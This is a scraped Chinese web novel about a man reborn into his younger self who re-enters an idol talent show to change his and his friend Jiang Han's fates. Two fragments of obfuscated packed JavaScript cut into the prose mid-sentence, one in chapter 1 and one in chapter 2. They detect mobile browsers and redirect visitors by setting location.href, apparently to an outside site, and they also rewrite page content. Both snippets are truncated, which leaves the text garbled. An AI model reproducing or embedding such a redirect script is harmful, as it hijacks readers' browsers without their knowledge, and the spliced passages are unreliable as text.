《我在选秀超神的日子[娱乐圈]》 1. 第一日 意识归位的瞬间,傅寻砚晃了一晃。 映照出窗外绚丽夕阳的落地镜,同样照出了一个瘦削青年的影子。宽而薄的肩,细长的脖颈,比例极佳的身材,以及…… “老傅!怎么被自己的美颜迷住了,咋愣住了呢,舞蹈练完了?” 傅寻砚僵硬地随着声音转过头去,那是一张熟悉但又陌生的脸。 一口糙汉子口音的男孩长着截然相反的脸,短而圆,眼睛也是圆圆的,散发着蓬勃的青春朝气。 是江瀚。傅寻砚笃定。 多久没见到他了?有五年了吧。 江瀚被对面青年恍惚的眼神盯到有些害怕,他小心翼翼摸了摸对方的额头。 “没发烧啊,怎么啦,哪里不舒服吗,怎么突然这样盯着我看?” 傅寻砚僵硬地摇摇头——不是不舒服。 只是太震惊了。 他感觉自己像是被包裹在了真空中,呼吸被掠夺走,脑子里只余下穿梭过时光的轰鸣。 现在是2025年,按理来说“傅寻砚”这时候只有20岁,但是此刻站在这里的他的意志,已经27岁了。 这一年里,他将和江瀚参加一场选秀,但两人的道路并不顺畅,江瀚遭遇恶剪,自己则因挡了别人的路而始终寂寂无名。 两年后江瀚不堪重负,选择在公司楼顶一跃而下。 傅寻砚……他背负着巨额违约金离开了公司,重拾学业,在26岁那年终于毕业,长成了成年人的样子,奔波于工作之中。 没有人一开始就是成熟的,那些超越同年龄而稳重的孩子只不过经历了更多的波折。那些对他的褒奖,那些肯定的话语听起来如此刺耳,就像在揭开他的伤疤,引起不为人知的隐痛。 但即便过着如此无聊的日子,在日复一日谈不上喜欢与不喜欢的工作里奔波,傅寻砚也从没想过这个世界上会有一种不寻常的力量将他抛回了2025年。 为什么? 思绪突然被打断,江瀚抓着他的肩前后摇晃着,眉宇间的担心没有丝毫作伪。 “老弟!寻砚!你到底怎么了!你今天真的很不对劲,不会被那几个传染流感了吧?”江瀚狐疑地将傅寻砚翻过来翻过去查看,突然心中一窒。 傅寻砚看着江瀚瞪得格外圆的眼睛,下意识用手掌抵住了对方靠过来的额头,一瞬间一切熟悉感回归,那些字句不自觉就从嘴巴里顺着舌尖流淌出来。 “你少看点电视剧,两个男人靠什么额头,温度计不好用吗?” “啊呀,还不是你的表情太吓人了,我着急嘛——你照照镜子,你看看自己的脸色多恐怖。” “刚刚一瞬间整个都苍白下来了!” 江瀚捧着傅寻砚的脸凑到落地镜前,傅寻砚视线里的白翳一点点散开。 夕阳的光打到了青年的侧脸上,将浓淡完美区分开。 高挺的鼻子瞬间抓住了视觉核心,然后是有些狭长,像是狐狸的眼睛。这时候的他常被江瀚吐槽没精神气,慵懒的眼皮永远耷着。 “白费了这双漂亮眼睛,你看起来要么是扫地僧要么是大魔王,咱就不能是符合粉丝期望中的精神的帅气的王子吗?”江瀚曾如此评价。 菱形的嘴唇形状优美,但苍白一片,配合着鬓角垂着的汗滴,镜中的青年就像刚刚被从水里捞上来的美人鱼——漂亮虚弱但本性凶残,任何一个盯着他动态超过十秒的人都能凭借动物本能感受到这一点。 傅寻砚擦了擦冷汗,在一旁的皮凳上坐下。说实话他现在很需要一个安静的环境理清思绪。 不过在江瀚叨叨着要带傅寻砚去公司旁边的诊所检查一下之前,有人推开了练习室的门。 进来的男人四十岁上下,注重锻炼,个头不高但身形健美,他的眼睛像是鹰隼一般充满目标感,这不就盯上了江瀚与傅寻砚。 “练习呢?” 坐在傅寻砚旁边休息的江瀚感觉屁股发烫一下子跳了起来——对方明明只是简单的询问,却好像是责骂他们偷懒。 “李哥你来啦!我和傅寻砚刚跳完呢,想着先抠抠细节再继续。” 李鹏程不在乎江瀚的回答,他皱着眉看向盯着自己的傅寻砚。 傅寻砚是他一年前亲手挖掘的练习生,过往经历……不提也罢,在李鹏程看来都是小问题,从本质上而言,李鹏程知道那不是傅寻砚的错。 不过要是之后被爆出来,也是麻烦。 李鹏程拿捏住了傅寻砚的弱点,作为成熟的经纪人,他并不像刚入行的新人那样有什么人情美,对着傅寻砚永远是公式化交代任务,因为他也明白,傅寻砚是个识趣的人。 正是因为识趣,所以现在看起来才格外“乖”。 但听话过头也不好,前后反差太大,以至于现在李鹏程每次和傅寻砚聊天,都会有对方变成了一台精密AI,已经失去灵魂的错觉。 只是不知道为什么,今天的傅寻砚突然变回了从前,目光过于直接,直接到令李鹏程觉得冒犯。 但李鹏程不至于和一个刚刚二十岁的小孩计较,看他状态不太好,猜测或许只是无意。李鹏程走进来,将手中的几张纸递给江瀚。 “公司已经安排好了,你和傅寻砚一组去《新世纪偶像》,初步策划案都在这上面,回去核对一下。” 傅寻砚不用去瞟,虽然时隔——时隔七年,但一切历历在目,沉睡的脑细胞瞬间苏醒,将他以为早已淡忘的尘封记忆送到了面前。 《巡回情歌》,两套黑色西装,过于浓艳的妆造,江瀚用力过猛的表情管理和自己不擅长情歌的板正,最后得到两个D。 此时的李鹏程事业受阻,与公司有些纷争,所以公司将更好的资源给了同一批除了他两以外的练习生,让他们去参加另一档爆火又口碑良好的节目,结果一飞冲天晋升流量。 反观傅寻砚和江瀚这边,由于公司内部的党派之争,加上另一队人马有了爆火的希望,李鹏程的对头直接出手干预,试图让傅寻砚和江瀚成为压垮李鹏程的最后一根稻草。 于是早早吩咐节目组对他和江瀚一剪没,不允许有任何冒头可能。 李鹏程倒是没受到什么大影响,但他和江瀚,人生的境况却因此急转直下。 盯着傅寻砚莫名的眼光,李鹏程干巴巴地嘱托两人加紧练习。 “李哥,等一下。”傅寻砚拦住李鹏程,高大的青年倚靠住玻璃门,镜面模模糊糊映照出他的容颜。 李鹏程一顿:“怎么了?” “李哥,我知道你和张总之间已经……但我能和你交换一个条件吗?” 李鹏程心里一咯噔,随即有些不愉,他压低了眉毛淡淡看着傅寻砚,眼瞳里有着渐起的怒意:“你倒是耳听八方呢,怎么?想跳槽?” 傅寻砚无惧他的逼问,黑色如琉璃一样的眼睛平淡无波。 “不,自然不会。我只是想——能否麻烦你,不管怎么样都在公司这边替我们坚持到初舞台播放?我和江瀚不会让你亏本的。” 之后傅寻砚和李鹏程谈了些什么,江瀚不得而知,他只是很惊讶。 惊讶于傅寻砚居然敢做这么大的保证。 “这下哥哥只能为了你尽力拼一把了。”知道了傅寻砚和李鹏程承诺的条件,江瀚头疼的同时却并不困扰,他笑眯眯地拍了拍傅寻砚的肩膀,又一把将他揽在怀里。 “公司也真是偏心,把我两送到《新世纪偶像》,另外三个倒是送去了《前进吧!少年》,据说对面那个节目宣发超厉害,好几个练习生都是超级富二代,节目热度肯定不错。” 傅寻砚被摸乱了头发,挣扎出江瀚的怀抱,眼光在明暗之间颤了颤,最终还是简单地安慰了一句:“别想了,分开也好,我们和他们合不来。” “那倒是。”江瀚嘟嘟囔囔地赞同,然后继续低头翻材料,练习室只剩下呼啦啦的纸页声。 见到一个记忆里五年前就已经死去的同伴是一种什么感觉?傅寻砚只觉得心底像是被尖锐疼痛的回忆凿开了一个空洞,那里呼呼漏着风。 他很僵硬地不去看江瀚的脸,也克制着一切酸涩的情感。 和江瀚算不上非常亲密的朋友,但至少他是个好人。正因为他是个实在的好人,才成为了傅寻砚在公司里唯一愿意打交道的练习生。 江瀚恐怕也觉得这批练习生里只有傅寻砚值得一交。 两人性格相仿,三观也差不多。江瀚比自己大了两岁,今年刚从一所末流一本大学毕业。 不论从自制力、性格亦或各方面,他和江瀚都是“异类”。 于是与这一批其他几个泾渭分明——不是说那几个人有多不好,但他们爱玩、爱娱乐、性格里也保有着这个年纪无所顾忌的浪漫和恣意,以及一些不管不顾的伤人之处,所以两方人交流不到一起去。 他们嫌江瀚和傅寻砚木讷无趣,保守古板。 另一方面,傅寻砚的脸与江瀚的舞蹈实力也令他们忌惮——在交朋友之外,他们对彼此最鲜明的标签是竞争对手。 竞争对手,这才是贴在彼此头上最重要的标签条,时时刻刻提醒着他们要警惕,要小心,不要傻傻地包容。 身边的江瀚还在看策划,从服装嘀咕到妆造,还有公司给他们的人设。 傅寻砚几乎听不进去一个字,他只是呆呆望着降下去的落日,努力屏蔽江瀚的声音来思考。 如果真的有“老天”,他为什么要让自己回到这个时候。 救江瀚吗? ——江瀚是什么天选之人吗?如果是,他让江瀚重生不就好了,为什么要让自己回到2025年? 或者……只是单纯地给自己一个选择。 选择? 傅寻砚无意识抠着指节,那一截指头的死皮都被蹭下,他克制着痒痒的牙不去咬。 我获得了第二次人生。 但似乎太晚了,如果回到他十六岁的那年,一切才来得及…… 如果降临在这个即将参加选秀的时点的事实无法改变,那么对傅寻砚来说,最好的选择就是立刻拉着江瀚从《新世纪偶像》退赛。 那样江瀚不会被恶剪,也就不会因为黑粉的攻击而被逼死,自己更不会蹉跎两年并始终因江瀚的死而郁郁。 可是,就在刚刚见到李鹏程那一刻,他的内心便已经有了决定,他本能地抗拒逃避。 上一辈子在进入这个圈子后,由于年岁尚小什么都不懂,加上那些无法被释怀的过去,他始终求稳。 后来的他想袒露自己的放肆、任性,可那些不经意流逝的岁月已经偷走了选择。 成年人的世界向没有原始资本的人紧闭着大门,只容他向流浪汉一样在门口瑟缩。 直到折弯脊骨,学会谄笑。 大众始终是“衣食父母”而不是“父母”,在他们愿意主动了解你之外,没有任何义务要求他们相信你的品行,他们只需要对他们所看见的、听见的负责。 所以在他们看来,《新世纪偶像》的傅寻砚之存在是一种别扭,外形条件极好然而毫无人格魅力。 即便他们很清楚,作为一个“贫民”,傅寻砚的镜头加起来都不如一轮游的人。 他偶尔露出的尖刺也被认为是虚伪,所以他们合理地将真心全部收回。 傅寻砚没有任何资格怪他们,但他实实在在受了伤。二十出头的青年四顾茫然,偏偏那些往事又被拿出来批判鞭笞。 作为事件主角的他,发出的声音却被质疑压成蚊蝇,根本没人在乎,别提相信。 他只能在此后的旅程中克制着自己,保持着如死水般的稳定,似乎只有这样才能走得更长远。 但现实,还是偶尔会在寒夜袭击他,让他想起,他曾畏惧如流星璀璨一刻又滑落的生命,但最后活成了始终被践踏在脚底的寂寂无名。 如果一开始就想安稳度日,他为什么当初要答应李鹏程的邀请进入娱乐公司? 无数的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129111|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回忆在傅寻砚眼前闪现,一瞬间关于命运和机遇的思考攥紧了他的神经,令他在剧痛中逐渐清醒。 不,我不应该逃避的。 虽然参加选秀仍然有未知的挑战,可是这一次,他要以真正的自己站在那里,然后问问这个世界—— 这样子的我,是否能够被包容,能够被喜爱,能够拯救自己与他人。 ** “爱如荆棘,令心脏千疮百孔 包裹着脆弱的躯体 灌浇着任性的伤痕 我们迷失在唾骂责怪的草丛 让蔓延的迷雾遮蔽了天空” “请紧紧拥抱我 让剧烈的爱意使我疼痛” “请紧紧拥抱我 让疼痛的爱意伤我重重” 伴随着猛烈的几下鼓点,吉他声渐歇,最后一丝尾音——包括乐器和人的,都如绷紧的弦在颤动中断裂,紧攥着人的呼吸放下。 舞台的灯光其实并不特别,相较于上一组,这一组明显没有花钱,整个表演过程中灯光并无刻意的变化,只是简单追随着开口者而已。 可在场所有人看着底下的舞台都晕眩了,他们有些惊愕地失去了对表情的轻易掌控。 三秒过后,造星首席人姜苏林微笑着鼓掌,这才令其他人如梦初醒,下意识跟着拍手,可视线盯着他的脸移动不了。 摄像机械地记录着全场异常的表情,然后颇有心机地给了一个特写。总导演坐在他的小马扎上看着舞台前最贵的这台摄像传回来的画面,不由得感慨——这个画面至少得是他选秀编导节目的经典一幕。 原因无他,太漂亮了,也太震撼了。 在大特写中,男孩身后的背景只有被灯光渲染成浅蓝色的一片,而占据了整个画面几乎二分之一的他的黑发与白肤形成了再强烈不过的对比。 从发际线到下巴尖,无一处不精致。可那种精致脱离了时下小年轻的脂粉味,几乎全靠着本身的五官堆叠起来。略有些狭长的狐狸眼恰到好处地眯起,灯光被映照在瞳孔中,恍若人溺毙于春溪。 尤其是鼻尖的小痣——导演不由得骂了句脏话。 “现在的小孩可真会长啊!” 要是他也有这样的脸,他就会用这张脸霸凌全世界……可惜他没有,所以只能靠才华吃饭。 哦不,人家也有才华,并且他的才华更为直观。 “你们的表演太棒了。”饶是已经出道十五年,成功转型为双栖明星的姜苏林握着话筒不由感慨。 他已经三十五岁,但时光没有在他脸上留下太多印记,仍旧帅气英俊。 “编舞很有新意,配合度也高,从唱歌到小段的rap,相当完美的表演。”姜苏林边点评边迅速阅读资料卡——初舞台前看过一遍是不错,但连续数个小时的录制以及上百人的资料,总是令人看了就忘。 “唔,居然是自作曲?相当惊喜啊。”姜苏林瞥见词曲后第一顺位都是“傅寻砚”,立刻抬头在两人中找到了那个叫傅寻砚的孩子。 相比起自己直白热烈的夸奖,对方的神情多少有点——寡淡。没有一般选手表现出来的腼腆羞涩,也没有激动自信的笑容,他只是很有礼貌地勾起唇鞠了一躬。 但姜苏林不在意,他比谁都清楚国内创作型偶像的缺失,即便这首《爱·棘》并不非常成熟,甚至有些中二少年的无病呻吟,但眼前的青年很显然有着与生俱来的独特天赋,偏偏能结合表演令人目眩神迷。 “这首歌都是你创作的吗?傅寻砚练习生?”一旁的男歌手更为激动,他叫欧若,是圈内出了名的有才华的创作人,“虽然稚嫩,但旋律很好啊。” 这时候舞台上的傅寻砚才终于理顺了剧烈唱跳带来的气喘,身边的江瀚心照不宣地将话筒递给他,那双清澈的眼睛里只有鼓励。 只有鼓励和欣喜,没有嫉妒也没有失落,与节目组后来剪出来的他的形象天差地别。 傅寻砚一瞬失神,但江瀚将话筒牢牢扣在他手里,避免了滑落的结局。 傅寻砚知道不能让台上等太久,他清了清嗓子接过。 “编曲是公司的专业团队重新制作的,只有词曲是我。” 这番正经得甚至有些不合时宜的陈述令欧若怔了一下,不过反而对傅寻砚印象更好——现在有些小年轻只是改了几个词就对外模糊宣称歌是自己写的,相比之下傅寻砚的“锱铢必较”反而很真诚。 “词曲是你吗?作曲很不错,但词——说实话还是有些不太成熟,过度注意押韵了,在词意表达上还需要自然一些。”欧若向来讲话直白,这时候的用词已经足够收敛,他也不想打击到傅寻砚。 “嗯,是高中时候写的,本来想要修改一下,可又觉得没有必要。” 台上的青年眸光稳定不躲不避,相当镇定,这也让他的容色愈发吸引人,一众编导和团队助理甚至听不见傅寻砚在说什么,只是呆呆盯着相机里那张脸,仿佛那是一个漩涡。 “为什么没有必要呢?既然编曲都重新做了,词也应该顺势再升级一下吧?”欧若有些不高兴。 傅寻砚摩挲着话筒,是啊,明明应该一起修改了,可为什么没改呢?他听到自己的声音通过话筒传遍了演播厅,掺杂着真心和为了某些目的而做出的掩饰。 “因为想提醒自己那时候开始写歌的初心,并且告诫自己——每一首歌的改编也许可以有很多次,但有时候被人听到的机会只有一次,如果第一次写的时候没有尽全力,它便很可能如现在这首歌一样充满遗憾。” 没有人会想到台上的人有如此解释。 连五个导师也不由得对视一眼后暗暗心惊。 不说别的,这个孩子特别有想法,也很——目标明确。 望着舞台上光线集中处那张漂亮面孔和颇有艺术感的微蜷半长发,所有人对傅寻砚的第一印象都格外深刻。 这个冷淡的帅气青年,和他的歌一样浑身都是个性锐利的尖刺。 2. 第二日 按理来说,这些尖刺不该再出现在傅寻砚身上。从选秀舞台到事件爆发后的公司雪藏,再到背负着违约金进入社会,他已经遭受了足够多所谓“社会的毒打”。 傅寻砚知道背后的原因,因为他想明白了。 他一直都是个很倔强的人,但上一次,公司认为那种锐利的直白的性子并不讨喜,所以要求他谦逊甜蜜。 可是傅寻砚装不来,以至于只能做到少说少错,在镜头里成为了木讷,最终以另一种方式实现了“不讨喜”。 舞台上众人感到的惊艳终于随着时间淡去,导师团对两人态度友好,他们也没有忘记一旁的江瀚,cue他跳了段舞。这一次,江瀚没有因《巡回情歌》的油腻而从导师那里收到一丁点负面评价,所以心态良好,发挥超常。 至于傅寻砚,导师们已经提过他的自作曲,哪怕再想给他写表演机会时间也不容许。姜苏林见到对面的导演组隐晦地举起了示意加快的牌子,还是放弃了让傅寻砚单独唱一段的打算。 “我们认为,你们两在配合上很默契,整体舞台也很棒,但……” 金字塔上的其他练习生也跟着这个“但”屏息凝神,一部分人已经从转折中感受到这组没有A的评级。 “但缺陷其实还是有的,比如江瀚,你的唱歌气息很不稳,在高音的地方有劈叉。这个舞台既然你们已经准备了一个月,不该有这样的问题。” 江瀚看了一眼欧若,想说什么还是咽了下去——他们并没有练习一个月,傅寻砚在那次李鹏程转交策划后,花了两周与公司周旋,将歌从《巡回情歌》改成了自作曲《爱·棘》。 公司高层有些不满傅寻砚的“锋芒毕露”,也因为傅寻砚的新提议加重了他们的负担和成本,所以服装置办、录音等工作一拖再拖,尽管有李鹏程从中周转,他们的实际练习时长也根本不超过一周。 期间傅寻砚还包揽了服装挑选、造型设计等工作。 但这样的回答会把傅寻砚推到风口浪尖,江瀚不知道结果是好是坏,所以把选择权交给傅寻砚,自己并不主动提。 傅寻砚同样选择了沉默。 “然后是傅寻砚,你的音色很不错,可惜不知道为什么,让人感觉在技巧上有点生疏。舞蹈的话也不错,但就是缺了点感觉……你知道吗,你最大的问题是表情管理,你的脸能给你带来优势,这次勉强遮住了其他缺陷,可是,这种新鲜感是会慢慢淡去的,不能指望每次都有效果。” “换言之,你得提升舞蹈和舞台表现——哦,唱歌也得加强。”轮到傅寻砚,评价人换成了姜苏林,他似乎给出了更多负面评价,可在场的人都能听出他的恳切。 这意味着他觉得傅寻砚能做的更好,意味着他肯定了傅寻砚的潜力。 可观众不会那样觉得,所有在场练习生都笃定节目组不会放出所有前因后果,在片段式的呈现里观众只会听到姜苏林认为傅寻砚的缺点很多。 “所以,我们一致商量的结果是……” 灯光似乎暗了一秒,叫人心中不安,也预示着某种不尽如人意的结局。 “宝音娱乐公司练习生,江瀚——B等级,傅寻砚——” 在一片寂静中,姜苏林看了一眼傅寻砚,或许是想要给他安慰和鼓舞,但最终口里还是吐露出“B等级”这个残酷的词。 难道不残酷吗? 傅寻砚下意识攥紧了手,幸好有衣袖的遮挡没有暴露。他很快就放开了,思绪沉沉浮浮地跟着江瀚鞠躬,没有特别大的反应而绕场一周回到入场时的座位。 期间所有人都在窃窃私语,或无心或有心,甚至没人关注后一组出场的是谁。 “我的妈呀这也太严格了吧,这都没能A?” “嘶我感觉他们明明比极光传媒的练习生更好,怎么……” “嘘!” 他们的座位在五十多号,夹在很多人中间,路过时许多练习生投来或宽慰或庆幸或不解的目光,所幸江瀚发挥着社交多面手的本事挡在了前面,傅寻砚这才免于做出反应。 他得到B的评级不是不可接受的结果,节目组需要有人出来接“翻身”剧本,如果这些练习生有眼力就该反应过来,这对傅寻砚不是一个打压,而是未来镜头的允诺。 可傅寻砚仍然没有为此开心。 初舞台很漫长,傅寻砚坐在金字塔的中间高度,冷眼看着底下一个个公司的练习生过去,那些面孔熟悉又陌生,仿佛隔了一层雾。 会好的——傅寻砚告诉自己,一切都会好的。 哪怕好不了,至少他努力地以最真实的自己抗争过一遍了,没有留下遗憾,一切就够了。 眼神在虚空中沉沉浮浮的他并未注意到,远处有个人盯了他不止一会儿。 “哥?你认识傅寻砚吗?怎么一直看他?”同公司的练习生小心翼翼凑近叶莱,有些好奇地询问。 被问的青年微微偏头,聚光灯下,他的眉眼好看极了。 就像是春日河畔的青柳,散发着生机与初雪消融的暖意,尽管他的表情似乎并不温和。然而他本身是那样干净纯粹,让人联想起青葱校园的那一抹飘扬的白色衣袂。 “没什么。”叶莱看上去并任何无分享欲,抿着唇转回了视线。 那是傅寻砚。 是的,是傅寻砚。 叶莱眼眸中光暗交替。这并不是他第一次见到傅寻砚,上一次,是在飘雪的外国街头。那个看起来比今天要更朴素些的男孩只穿着薄薄的夹克,手插着兜靠在便利店门口。 然后——那天的他在傅寻砚面前丢了个大脸。 但他想傅寻砚并不会记得这件事——那时候对方的眼神就是这样告诉他的。 淡漠,比叶莱自己更淡漠的眼睛,像是穿梭在密林中的靡丽蝴蝶,不为沿途任何的东西停留。 呵。叶莱内心冷嗤一声,当时他是怎么说的? “我不会出道。” 所以现在,声称自己不会出道的高傲便利店员工在干嘛? 一百零一个练习生,近四十个舞台,还不排除期间有些练习生要加试,当一切结束时竟已经过去了十个小时。 从上午十点录制到晚上八点,疲惫席卷了每张面孔,不少练习生的脸部状态很差。五位导师还有工作人员为他们补妆,这些练习生可没有,只能用随身携带的散粉压一压。 “你好,我是尹星蘅,我很喜欢你的自作曲。” 那人走近,目光在灯光的映照下灼灼。 傅寻砚转头,发现也是个还算熟悉的人。 尹星蘅。 “谢谢。” 懒懒散散的青年站在他的上方,逆着光,整张脸都趋于昏暗,然而尹星蘅还是觉得稍被刺得目眩神迷。 很正常吧,看着这样的美貌,不管谁都会失神的,尹星蘅为自己的怔愣如此辩解。 “你有点高冷诶。”尹星蘅笑着,毫不在意周边有人投来偷偷摸摸的关切目光。事实上,他已经躲开了好几个试图搭讪的家伙,“可以坐你旁边吗?” 谁让他也算赛前大热呢? “当然。” 傅寻砚倒是没想到这一次尹星蘅会主动来找他,眼前的青年是那种长辈眼里特别讨喜的小孩——很乖,并不是指稚嫩,而是有一张一看就很善良的面孔。 浓眉大眼,因为年纪不大,脸庞稍有些圆润。 帅哥自然是帅哥,可惜不是少女钟爱的特型帅哥,这也导致尹星蘅后期1pick阶段优势不再,作为大vocal,最终堪堪第六出道。 “你的话怎么比我还少?”尹星蘅有些无奈,“我还以为你会有什么反差萌的杀手锏,比如私下其实是个小唠叨来着。” “那不好意思,辜负了你的期待。”傅寻砚勾了勾嘴角。 “说起来有点奇怪,我来找你吧,不只是因为你的自作曲——我总感觉你很眼熟,但是我应该没见过你吧?”尹星蘅抓了抓额头,表情困惑。 不过他可没透底。比起“熟悉”,他觉得刚刚看见傅寻砚那张脸后,自己的心情是“闷”。 那种闷得喘不上起来的窒息。 他确定自己没病,那么有问题的肯定是傅寻砚了。 傅寻砚的手指蜷曲,低着眼轻笑:“确实没见过,可能我们一见如故吧。” 尹星蘅并不是非要为了那种奇怪的突然的感觉刨根究底,所以没有反驳。不管怎么说,傅寻砚还挺好相处的。 傅寻砚却因尹星蘅的一番话心起波澜。他本以为时空是单线程的,可尹星蘅的反应并不如此,也许冥冥中他的回归也影响到了些什么。 但不妨碍他继续和尹星蘅交流。 周遭蠢蠢欲动的练习生看见尹星蘅坐到傅浔身边,好几个咬碎了牙,唾弃尹星蘅不懂得资源最大化利用——他有着节目前优势,而那个傅寻砚有“脸”,他们分明可以分开再带火其他练习生的嘛! 凑一块儿多浪费啊。 尹星蘅有热度给别人蹭吗?毋庸置疑。 《新世纪》赛前大热有四人,从隔壁国家归来的全能绿卡叶莱,业内最热娱乐公司的练习生伯弥,参加过其他选秀节目并获得第四名的vocal尹星蘅,还有再就业选手旻海。 如果说叶莱俘获了大多数追星女孩的心,那么尹星蘅无疑是所有练习生里知名度最广的。 17岁时,他意气风发地报名了当时国内热度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129112|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很高的唱歌节目。尽管歌声稚嫩且毫无技巧,但偏偏是那种未经打磨的质朴赢得了全国观众的喜爱。在节目里,他逐渐成长,并凭借着无法说清的魅力一路闯到半决赛。 赛后多家公司都给他递了橄榄枝,但叫人意外的是,他没有签约,而是继续读书深造去了。四年一晃而过,时代更新速度太快,他的粉丝也流失了大半。 这也是导致他现在不如叶莱的主要原因。 “咦?你们怎么站一起了?哈喽你好,我是江瀚,和寻砚一个公司的练习生。”江瀚自来熟,飞快与尹星蘅认识了。 三人走在一起,随着导播的指导更换站位,等着录制初评级发表。 尹星蘅年纪也不大,熬到这个点困得不行,打了个哈欠将头靠到了比他高些的傅寻砚肩上:“好困好困,不是都知道结果了吗还要再录一遍。” 傅寻砚没有回应,他看着舞台中央聚光灯集中的地方,姜苏林长身玉立手拿词卡。 A等级共12人,和上一次一样,B等级多了自己和江瀚,变成了21人。看着被姜苏林喊到后站起来的A组12人,傅寻砚眼中眸光闪烁,嘴角忍不住拉平。 101人,最后出道的只有7人。 可悲的是,这不是小学考试,实力代表不了一切——公司的营销,节目的运作,有太多太多不可控因素在决定着排名,这让“努力”常常成为笑话。 营销大于天赋大于努力的情况下,大多数练习生会崩溃也不是不能理解。他们就像是江上的小舟,在出道前根本没什么话语权,只能被人操纵着决定方向。 看似光鲜亮丽的明星,实际上大多数都是资本的符号,他们没有自由,他们只是商品,而更可悲的是——有时他们自己也感受不到自己被非人化,甚至沾沾自喜地享受着聚光灯与粉丝的宠爱,最后走上歧路又被抛弃。 依稀记得,那个最后诞生的组合最成功的一天也就是发表的那天了。此后由于国内缺乏舞台,成员间又聚少离多、各有成算,所以最后只合作了一张专辑便一步迈向解散。 初评级很快发表结束,拍摄组成员忙忙碌碌,短暂地将所有练习生忘在了台上,大家百无聊赖站着,或困倦地打盹,或火热开启聊天。 叶莱身边的练习生发现他这个得了A的大佬同事并不见多少喜色,反而又在光明正大地盯着那个叫傅寻砚的练习生看了,不由得疑惑万分。 就是说,哪怕那个傅寻砚脸确实好看,但也不至于这样盯吧? 叶莱蜷住手,即便傅寻砚的初评级是B,但对方带来的深深的危机感立刻袭击了他。 可不知道为什么,明明上一秒刚把他列为必须警惕的对手,下一秒看到尹星蘅飞快与他混熟,叶莱还是觉得难受极了。 凭什么?明明先一步与他认识的人,是自己不是吗?如果非要在100个练习生里找认识的说话,除了那个江瀚,自己不该是他的第二选择吗? 叶莱的表情越来越冷,他知道自己的反应不对,于是强迫自己转移注意力,去思考其他事情。 比如目前节目的局面。 《新世纪偶像》的开局太过不利了。 隔壁《前进吧!少年》显然打着同擂台比赛而碾压的想法,选择和《新世纪偶像》同时间播出,赛前营销恐怖非常。 用数据举例,隔壁赛前热搜第一是个星二代素人,粉丝已经达到了二十二万,而自己就算手握爆款单曲,也只有将将三十万粉丝。 傅寻砚今天粉丝数才刚刚破万,而他同公司的参加了《前进吧!少年》的素人练习生早就往十万去了。 如此已见两节目的宣传差距。 酒香不怕巷子深这句话放在现代纯纯狗屁,互联网和大数据总能让人先入为主,只要《前进吧》能达到及格分,粉丝都能给他安利成九十。 而且,更加糟糕的是在上节目前的最后一夜,叶莱从经纪人那里得知对方已经在买《新世纪》的黑通稿,但可悲的是,《新世纪》的节目组已经没有办法和余额应对。 至于节目里的练习生……是叶莱调查前想象不到的“惨”。 《新世纪》目前的上位练习生单亲、穷困、家有重病患者……一个比一个艰难。 换言之,他们根本不可能自掏腰包去营销,当然,他们的公司也大多不会。 相比之下,《前进吧》简直是富家公子开会,甚至还有好几个星二代和富二代撑场面,据说还有某小国的王子。 近些年偶像圈风向发生了变化,粉丝的慕强心理从实力转移到了家世上,这样的劣势之下,《新世纪》怎么可能有出路? 担忧着节目,也担忧着自己的未来,叶莱闷头顺着通道走。 3. 第三日 室内的温度被氤氲得越来越热。 “各位练习生请注意,《新世纪偶像》的宿舍分配已经完成……” “什么?”底下有练习生轻呼,“为什么不像《前进吧》那样自由分配?” 声音不小,被副编导瞥过来的一眼噤声,副编导当做没听见继续宣布。 “本次分配根据各位练习生入场前寄存在工作地的行李箱决定。顺序为行李箱的数量、颜色、大小,既同一颜色、同样数量和同样大小行李箱的练习生居住在一起。” 傅寻砚早知道是这个安排,所以编导宣布时并未太震惊。大概是今日真的疲倦了,困意席卷着大脑,他的眼皮不断下坠,连带着那如蝶一般的睫毛翩翩欲飞。 他身前的一个摄影没控制住手,默默将镜头从大场面移到了那张让人过分在意的脸上——啊啊啊啊她早就想说了,这样的脸没有一个怼脸镜头简直是暴殄天物! 不管,这个镜头到时候节目组不用的话自己就私藏! 镜头小小的4:3框里,青年身后所有人都虚化了,他黑色的发,乌黑的瞳孔是如此鲜明,撑起在脸侧的手背露出恰到好处的骨节和青筋,让人——产生一些羞涩的欲念。 傅寻砚没有关注这些摄像的落点。重来一次他确实想突出重围,但并不包括这样与舞台无关的时刻。 他现在只关心能不能赶紧回宿舍洗澡恢复状态。 望着编导手中薄薄一张纸,傅寻砚视线轻闪。上一次他的舍友也不是什么热门,不过公司比宝音给力一些,做足了宣传保护他们三轮游。 不过好处是这几个人很安分不搞事,几人在作息上也很一致,因此这次傅寻砚也不想换宿舍。 他当然知道热门选手会带着舍友飞升,可那种效果微乎其微,不值得如此费心思。 更换成自作曲《爱·棘》的初舞台不像上次《巡回情歌》,一定会顺利播出,既然有了那种有效镜头,他便无需在其他地方白费心思。 他从来没想过一定要出道——他只是想证明,上一次的失败并不来源于自己毫无人格魅力或在舞台上不努力。 顺便,帮江瀚纠正他那可悲短暂的命运。 看着还在傻愣愣像小狗一样期待着编导宣布结果,一边晃着他胳膊说要一起住的江瀚,傅寻砚将头脑中的千思压制住。 室内只剩下副编导沉闷的报数声,偏偏被报到的练习生还不能立刻离开,只能乖乖坐在位置上等待。 “204号房间,傅寻砚、达裴、白闻及、沈迟。” 